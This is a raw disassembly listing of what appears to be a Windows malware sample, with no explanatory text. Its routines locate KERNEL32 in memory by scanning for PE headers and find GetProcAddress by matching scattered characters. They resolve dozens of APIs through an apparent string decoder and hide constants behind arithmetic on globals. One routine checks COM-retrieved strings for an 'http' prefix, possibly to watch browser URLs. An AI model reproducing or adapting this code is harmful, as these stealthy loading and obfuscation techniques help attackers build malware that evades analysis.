		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-0Eh]
		push	eax
		call	dword ptr ds:1000F0D4h
		mov	ebx, ds:10013134h
		sub	ebx, 8
		cmp	eax, ebx
		jnz	short loc_419EFE
		cmp	dword ptr ds:10012790h[edi*4], 0
		jz	short loc_419F50
		movsx	ebx, word ptr ds:10013144h
		sub	ebx, 6
		mov	ds:1000F630h[edi*4], ebx
		jmp	short loc_419F50
; ---------------------------------------------------------------------------


loc_419EFE:				; CODE XREF: .data:00419EDFj
		cmp	dword ptr ds:10012790h[edi*4], 0
		jnz	short loc_419F50
		mov	ds:1000F630h[edi*4], edi
		lea	eax, [ebp-28h]
		push	eax
		movsx	eax, word ptr ds:10013264h
		add	eax, ds:10013194h
		sub	eax, 12h
		push	eax
		lea	ebx, ds:1000F630h[edi*4]
		push	ebx
		push	1000263Bh
		mov	ebx, ds:10013114h
		add	ebx, ds:1001312Ch
		sub	ebx, 10h
		push	ebx
		push	0
		call	dword ptr ds:10012B90h
		mov	ds:10012790h[edi*4], eax


loc_419F50:				; CODE XREF: .data:00419E8Ej
					; .data:00419EADj ...
		inc	edi


loc_419F51:				; CODE XREF: .data:00419DFBj
		cmp	edi, 5Ah
		jbe	loc_419E00
		mov	eax, ds:1001309Ch
		sub	eax, 5
		push	eax
		call	dword ptr ds:10012630h
		pop	ecx
		jmp	loc_419DF6
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_419F76	proc near		; CODE XREF: .data:0041F293p
		push	2
		call	sub_41F9EF
		push	0
		call	sub_41F9EF
		add	esp, 8
		retn
sub_419F76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F88	proc near		; CODE XREF: .data:0041F305p

var_30D		= byte ptr -30Dh
var_30C		= byte ptr -30Ch
var_308		= byte ptr -308h
var_302		= byte ptr -302h
var_203		= byte ptr -203h
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh

		push	ebp
		mov	ebp, esp
		sub	esp, 310h
		push	edi
		push	0FFh
		lea	eax, [ebp+var_302]
		push	eax
		call	dword ptr ds:1000F600h
		lea	eax, [ebp+var_203]
		push	eax
		push	dword ptr ds:10013168h
		push	0
		push	1Ch
		push	0
		call	dword ptr ds:1000FA44h
		push	10014837h
		call	sub_41C914
		movsx	edi, word ptr ds:100131B4h
		sub	edi, 2
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	1000F0F0h
		call	dword ptr ds:10012634h
		push	10014824h
		call	sub_41C914
		movsx	edi, word ptr ds:10013124h
		sub	edi, 4
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	10010260h
		call	dword ptr ds:10012634h
		lea	eax, ds:100083B6h
		mov	ds:1001262Ch, eax
		lea	eax, ds:100083B6h
		mov	ds:1000D04Ch, eax
		lea	eax, ds:100069B8h
		mov	ds:10012774h, eax
		push	1000E020h
		call	sub_41F596
		movsx	eax, word ptr ds:10013170h
		mov	edx, ds:10013184h
		lea	eax, [eax+edx+6]
		push	eax
		push	10010230h
		call	sub_41F760
		lea	eax, ds:10009DA6h
		mov	ds:10010228h, eax
		lea	eax, ds:10004982h
		mov	ds:1000FA30h, eax
		lea	eax, ds:1000F0F0h
		mov	ds:10011640h, eax
		lea	eax, ds:10010260h
		mov	ds:1000D018h, eax
		lea	eax, ds:10012670h
		mov	ds:10013370h, eax
		lea	eax, [ebp+var_308]
		push	eax
		movsx	eax, word ptr ds:10013230h
		sub	eax, 6
		push	eax
		push	0
		push	10002992h
		push	dword ptr ds:100131C8h
		push	0
		call	dword ptr ds:10012B90h
		push	eax
		call	dword ptr ds:10011654h
		lea	eax, [ebp+var_30C]
		push	eax
		movsx	eax, word ptr ds:100131E0h
		sub	eax, 3
		push	eax
		push	0
		push	1000155Fh
		mov	eax, ds:10013148h
		movsx	edx, word ptr ds:10013170h
		add	eax, edx
		sub	eax, 4
		push	eax
		push	0
		call	dword ptr ds:10012B90h
		push	eax
		call	dword ptr ds:10011654h
		mov	eax, ds:1001325Ch
		add	eax, 2
		mov	ds:1000F620h, eax
		mov	eax, ds:100130F8h
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_420FA4
		add	esp, 3Ch
		mov	eax, ds:100130ECh
		cmp	[ebp+eax+var_103], 64h
		jnz	short loc_41A165
		movsx	eax, [ebp+var_FE]
		mov	edx, ds:10013238h
		add	edx, 1Ch
		movsx	ecx, word ptr ds:1001327Ch
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+var_30D], al
		movzx	eax, [ebp+var_30D]
		push	eax
		push	0
		call	sub_42091E
		add	esp, 8
		mov	eax, ds:10013204h
		dec	eax
		mov	ds:1000F620h, eax


loc_41A165:				; CODE XREF: sub_419F88+19Dj
		mov	eax, ds:10013284h
		cmp	[ebp+eax+var_108], 67h
		jnz	short loc_41A1C6
		mov	eax, ds:100131D0h
		add	eax, ds:1001325Ch
		mov	edx, ds:10013148h
		movsx	ecx, word ptr ds:1001322Ch
		add	edx, ecx
		sub	edx, 9
		mov	[ebp+eax+var_104], dl
		lea	eax, [ebp+var_FE]
		push	eax
		call	dword ptr ds:1000D054h
		mov	[ebp-310h], eax
		push	eax
		push	10012670h
		call	sub_41AFF0
		add	esp, 0Ch
		mov	eax, ds:100131D0h
		sub	eax, 7
		mov	ds:1000F620h, eax


loc_41A1C6:				; CODE XREF: sub_419F88+1EAj
		pop	edi
		leave
		retn
sub_419F88	endp

; ---------------------------------------------------------------------------
		db 0B8h, 1, 40h
		dd 10C28000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1D1	proc near		; CODE XREF: sub_41C6CD+CDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	10013310h
		push	100132D0h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422931
		pop	ebp
		retn
sub_41A1D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1EB	proc near		; CODE XREF: .data:0041F023p
		push	edi
		push	10014816h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:1001329Ch, eax
		test	eax, eax
		jnz	short loc_41A21E
		push	10014808h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:1001329Ch, eax


loc_41A21E:				; CODE XREF: sub_41A1EB+1Aj
		push	100147F5h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1001260Ch, eax
		push	100147E2h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1001164Ch, eax
		push	100147D0h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F618h, eax
		push	100147BFh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10010224h, eax
		push	100147ABh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D050h, eax
		push	1001479Ah
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000E010h, eax
		push	10014783h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F5F4h, eax
		push	10014774h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10011630h, eax
		push	10014767h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D004h, eax
		push	10014755h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012628h, eax
		push	10014744h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012654h, eax
		push	10014732h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012BA4h, eax
		push	10014723h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10010220h, eax
		push	10014716h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012620h, eax
		push	10014707h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012644h, eax
		push	100146F9h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D040h, eax
		push	100146E7h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F0DCh, eax
		push	100146D7h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D014h, eax
		push	100146CBh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000FA40h, eax
		push	100146BFh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012604h, eax
		push	100146ADh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F5FCh, eax
		push	1001469Bh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:10012658h, eax
		push	1001468Dh
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1001265Ch, eax
		push	10014679h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1001277Ch, eax
		push	10014668h
		call	sub_41C914
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1001263Ch, eax
		push	10014652h
		call	sub_41C914
		add	esp, 68h
		push	eax
		push	dword ptr ds:1001329Ch
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D048h, eax
		pop	edi
		retn
sub_41A1EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4FB	proc near		; CODE XREF: sub_41C6CD+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	dword ptr ds:10010248h
		pop	ebp
		retn
sub_41A4FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A512	proc near		; CODE XREF: .data:00420EA2p
		push	edi
		push	10014644h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012664h, eax
		push	1001463Ch
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000E00Ch, eax
		push	10014628h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F5E8h, eax
		push	10014618h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10010244h, eax
		push	10014609h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012788h, eax
		push	100145FAh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D008h, eax
		push	100145E8h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012B9Ch, eax
		push	100145DBh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012B8Ch, eax
		push	100145CCh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10011654h, eax
		push	100145BDh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012624h, eax
		push	100145B1h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D000h, eax
		push	100145A6h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F0E0h, eax
		push	1001458Fh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D00Ch, eax
		push	10014578h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012640h, eax
		push	10014562h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012608h, eax
		push	10014552h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D034h, eax
		push	10014546h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D028h, eax
		push	10014536h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10010248h, eax
		push	10014527h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10011634h, eax
		push	10014519h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000FA34h, eax
		push	1001450Ch
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F61Ch, eax
		push	100144FBh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1001025Ch, eax
		push	100144EAh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D02Ch, eax
		push	100144DAh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012770h, eax
		push	100144C8h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10010258h, eax
		push	100144B7h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000E004h, eax
		push	100144AAh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F60Ch, eax
		push	10014499h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012668h, eax
		push	10014484h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012650h, eax
		push	10014474h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000E000h, eax
		push	1001445Fh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F0D4h, eax
		push	10014452h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10010364h, eax
		push	10014442h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1001261Ch, eax
		push	10014434h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10011648h, eax
		push	1001441Eh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1001163Ch, eax
		push	10014407h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F600h, eax
		push	100143EFh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000FA3Ch, eax
		push	100143D7h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000D010h, eax
		push	100143BEh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012614h, eax
		push	100143ABh
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012780h, eax
		push	10014393h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012778h, eax
		push	10014382h
		call	sub_41C914
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012B98h, eax
		push	10014370h
		call	sub_41C914
		add	esp, 0ACh
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F5F8h, eax
		pop	edi
		retn
sub_41A512	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9D0	proc near		; CODE XREF: .data:00420E5Ap

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_26C		= byte ptr -26Ch
var_252		= byte ptr -252h
var_23D		= byte ptr -23Dh
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_21F		= byte ptr -21Fh
var_21E		= byte ptr -21Eh
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		movsx	esi, word ptr ds:100131B4h
		mov	edx, ds:10013280h
		lea	ecx, [esi+edx+8]
		shr	edi, cl
		mov	esi, ds:10013270h
		add	esi, 0Ah
		add	esi, ds:10013198h
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_41AA07:				; CODE XREF: sub_41A9D0+5Dj
					; sub_41A9D0+99j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_41AA2F
		movsx	eax, word ptr ds:100130BCh
		movsx	edx, word ptr ds:10013104h
		lea	eax, [eax+edx+0FFEFh]
		sub	ebx, eax
		jmp	short loc_41AA07
; ---------------------------------------------------------------------------


loc_41AA2F:				; CODE XREF: sub_41A9D0+44j
		movsx	eax, word ptr ds:10013230h
		mov	edx, ds:100131D4h
		lea	eax, [eax+edx+34h]
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_41AA6B
		mov	eax, ds:100131F4h
		add	eax, 0FFFCh
		sub	ebx, eax
		jmp	short loc_41AA07
; ---------------------------------------------------------------------------


loc_41AA6B:				; CODE XREF: sub_41A9D0+8Bj
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_41AA98
		mov	eax, ds:100130ECh
		add	eax, 0FFFBh
		add	eax, ds:100130F0h
		sub	ebx, eax
		jmp	loc_41AA07
; ---------------------------------------------------------------------------


loc_41AA98:				; CODE XREF: sub_41A9D0+AFj
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_423399
		mov	eax, ds:1001325Ch
		add	eax, ds:10013138h
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_41AAFA
; ---------------------------------------------------------------------------


loc_41AAD8:				; CODE XREF: sub_41A9D0+140j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_41AAF7
		cmp	al, 7Ah
		jge	short loc_41AAF7
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_41AAF7:				; CODE XREF: sub_41A9D0+114j
					; sub_41A9D0+118j
		inc	[ebp+var_4]


loc_41AAFA:				; CODE XREF: sub_41A9D0+106j
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, ds:100130A0h
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_41AAD8
		cmp	[ebp+var_103], 4Bh
		jnz	short loc_41AB48
		cmp	[ebp+var_102], 45h
		jnz	short loc_41AB48
		cmp	[ebp+var_101], 52h
		jnz	short loc_41AB48
		cmp	[ebp+var_FE], 4Ch
		jnz	short loc_41AB48
		cmp	[ebp+var_FD], 33h
		jnz	short loc_41AB48
		cmp	[ebp+var_FC], 32h
		jz	short loc_41AB4D


loc_41AB48:				; CODE XREF: sub_41A9D0+149j
					; sub_41A9D0+152j ...
		jmp	loc_41AD7C
; ---------------------------------------------------------------------------


loc_41AB4D:				; CODE XREF: sub_41A9D0+176j
		movsx	eax, word ptr ds:10013264h
		add	eax, ds:10013248h
		sub	eax, 9
		mov	[ebp+var_108], eax
		jmp	loc_41AD67
; ---------------------------------------------------------------------------


loc_41AB68:				; CODE XREF: sub_41A9D0+3A6j
		mov	eax, [ebp+var_108]
		movsx	ecx, word ptr ds:10013218h
		dec	ecx
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_423399
		movsx	eax, word ptr ds:10013240h
		mov	edx, eax
		add	edx, ds:10013238h
		cmp	byte ptr [ebp+edx+var_224+3], 47h
		jnz	loc_41AD61
		mov	edx, ds:100130A0h
		add	edx, ds:10013120h
		cmp	byte ptr [ebp+edx+var_228+2], 74h
		jnz	loc_41AD61
		cmp	[ebp+eax+var_21E], 50h
		jnz	loc_41AD61
		movsx	eax, word ptr ds:10013178h
		movsx	edx, word ptr ds:100130C0h
		add	eax, edx
		cmp	[ebp+eax+var_21F], 63h
		jnz	loc_41AD61
		mov	eax, ds:10013234h
		add	eax, ds:10013154h
		cmp	byte ptr [ebp+eax+var_224+1], 41h
		jnz	loc_41AD61
		mov	eax, ds:100131A0h
		add	eax, 2
		add	eax, ds:1001323Ch
		cmp	[ebp+eax+var_21F], 72h
		jnz	loc_41AD61
		mov	eax, [ebp+var_108]
		mov	ecx, ds:10013194h
		sub	ecx, 7
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp+var_22C], eax
		movsx	ecx, word ptr ds:10013144h
		sub	ecx, 2
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		mov	ds:10013294h, ebx
		mov	ds:1000F1F8h, edx
		lea	edi, [ebp+var_23D]
		lea	esi, ds:100137C8h
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, ds:100137D5h
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_26C]
		lea	esi, ds:100137EAh
		mov	ecx, 0Dh
		rep movsw
		lea	edi, [ebp+var_281]
		lea	esi, ds:10013804h
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_23D]
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012B90h, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012660h, eax
		lea	eax, [ebp+var_26C]
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000E008h, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword ptr ds:10013294h
		call	dword ptr ds:1000F1F8h
		mov	ds:10011650h, eax
		jmp	short loc_41AD7C
; ---------------------------------------------------------------------------


loc_41AD61:				; CODE XREF: sub_41A9D0+1F1j
					; sub_41A9D0+20Bj ...
		inc	[ebp+var_108]


loc_41AD67:				; CODE XREF: sub_41A9D0+193j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_41AB68


loc_41AD7C:				; CODE XREF: sub_41A9D0:loc_41AB48j
					; sub_41A9D0+38Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A9D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD81	proc near		; CODE XREF: .data:0042133Fp

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10003	= byte ptr -10003h
var_10002	= byte ptr -10002h
var_10001	= byte ptr -10001h
var_10000	= byte ptr -10000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr ds:10013370h,	0
		jnz	short loc_41ADB1
		mov	eax, ds:100130D4h
		add	eax, ds:10013280h
		cmp	ds:1000F620h, eax
		jb	loc_41AFEB


loc_41ADB1:				; CODE XREF: sub_41AD81+17j
		lea	eax, [ebp+var_10020]
		push	eax
		call	dword ptr ds:1000D038h
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		mov	eax, ds:10013148h
		sub	eax, 2
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10010254h
		mov	edi, eax
		mov	eax, ds:100130F4h
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_41AFEB
		mov	esi, [ebp+var_10018]
		and	[ebp+var_1000C], 0
		lea	eax, [ebp+var_1000C]
		push	eax
		push	10014AD8h
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		movsx	eax, word ptr ds:100131F0h
		sub	eax, 3
		cmp	edi, eax
		jnz	loc_41AFEB
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, ds:100131A0h
		sub	eax, 3
		cmp	edi, eax
		jnz	loc_41AFE5
		lea	eax, [ebp+var_10003]
		push	eax
		push	[ebp+var_10024]
		call	sub_41C841
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	dword ptr ds:10012BA0h
		cmp	[ebp+var_10003], 68h
		jnz	short loc_41AE9C
		cmp	[ebp+var_10002], 74h
		jnz	short loc_41AE9C
		cmp	[ebp+var_10001], 74h
		jnz	short loc_41AE9C
		cmp	[ebp+var_10000], 70h
		jz	short loc_41AEA1


loc_41AE9C:				; CODE XREF: sub_41AD81+FEj
					; sub_41AD81+107j ...
		jmp	loc_41AFE5
; ---------------------------------------------------------------------------


loc_41AEA1:				; CODE XREF: sub_41AD81+119j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, ds:10013164h
		movsx	edx, word ptr ds:10013170h
		add	eax, edx
		sub	eax, 6
		cmp	edi, eax
		jnz	loc_41AFE5
		lea	eax, [ebp+var_4]
		push	eax
		push	10014A58h
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		movsx	eax, word ptr ds:10013264h
		add	eax, ds:100131F8h
		sub	eax, 0Ch
		cmp	edi, eax
		jnz	loc_41AFD9
		lea	eax, [ebp+var_10008]
		push	eax
